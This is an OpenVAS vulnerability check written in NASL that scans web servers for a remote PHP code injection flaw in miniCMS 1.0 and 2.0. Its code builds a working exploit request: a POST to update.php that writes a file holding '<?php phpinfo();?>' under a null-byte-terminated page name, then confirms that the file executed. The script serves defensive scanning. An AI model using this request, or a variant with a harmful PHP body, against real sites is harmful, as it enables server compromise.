miniCMS Multiple Remote PHP Code Injection Vulnerabilities

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_minicms_51612.nasl 5700 2017-03-23 16:03:37Z cfi $
#
# miniCMS Multiple Remote PHP Code Injection Vulnerabilities
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "miniCMS is prone to multiple vulnerabilities that attackers can
leverage to execute arbitrary PHP code because the application fails
to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and
possibly the underlying computer.

miniCMS 1.0 and 2.0 are vulnerable; other versions may also be
affected.";

if (description)
{
 script_id(103399);
 script_bugtraq_id(51612);
 script_version ("$Revision: 5700 $");
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_name("miniCMS Multiple Remote PHP Code Injection Vulnerabilities");
 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/51612");
 script_xref(name : "URL" , value : "http://sourceforge.net/projects/mini-cms/files/mini-cms/");
 script_tag(name:"last_modification", value:"$Date: 2017-03-23 17:03:37 +0100 (Thu, 23 Mar 2017) $");
 script_tag(name:"creation_date", value:"2012-01-24 11:44:44 +0100 (Tue, 24 Jan 2012)");
 script_category(ACT_ATTACK);
 script_tag(name:"qod_type", value:"remote_vul");
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");

 script_tag(name : "summary" , value : tag_summary);

 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
   
port = get_http_port( default:80 );
if( ! can_host_php( port:port ) ) exit( 0 );

foreach dir( make_list_unique( "/minicms", "/cms", cgi_dirs( port:port ) ) ) {
   
  if( dir == "/" ) dir = "";
  url = dir + "/index.php";
  buf = http_get_cache( item:url, port:port );

  if( buf =~ "This site is managed using.*MiniCMS" ) {

    page = "openvas-" + rand() + ".php";
    ex = "title=1&metadata=1&area=content&content=<?php phpinfo();?>&page=" + page + "%00";
    
    len = strlen( ex );
    host = http_host_name( port:port );

    req = string("POST ",dir,"/update.php HTTP/1.1\r\n",
		 "Host: ",host,"\r\n",
		 "User-Agent: ",OPENVAS_HTTP_USER_AGENT,"\r\n",
		 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
		 "Accept-Language: en-us,en;q=0.5\r\n",
		 "Accept-Encoding: gzip, deflate\r\n",
		 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n",
		 "Connection: keep-alive\r\n",
		 "Referer: http://",host,dir,"/index.php?page=1\r\n",
		 "Cookie: miniCMSdemo=32b5075aba3eb6c5d11129ec114346c2\r\n",
		 "Content-Type: application/x-www-form-urlencoded\r\n",
		 "Content-Length: ",len,"\r\n",
		 "\r\n",
		 ex);
    result = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

    if( page >< result ) {
      url = dir + "/content/" + page;
      if(http_vuln_check( port:port, url:url, pattern:"<title>phpinfo\(\)" ) ) {
        report = report_vuln_url( port:port, url:url );
        security_message( port:port, data:report );
        exit( 0 );
      }
    }
  }
}

exit( 99 );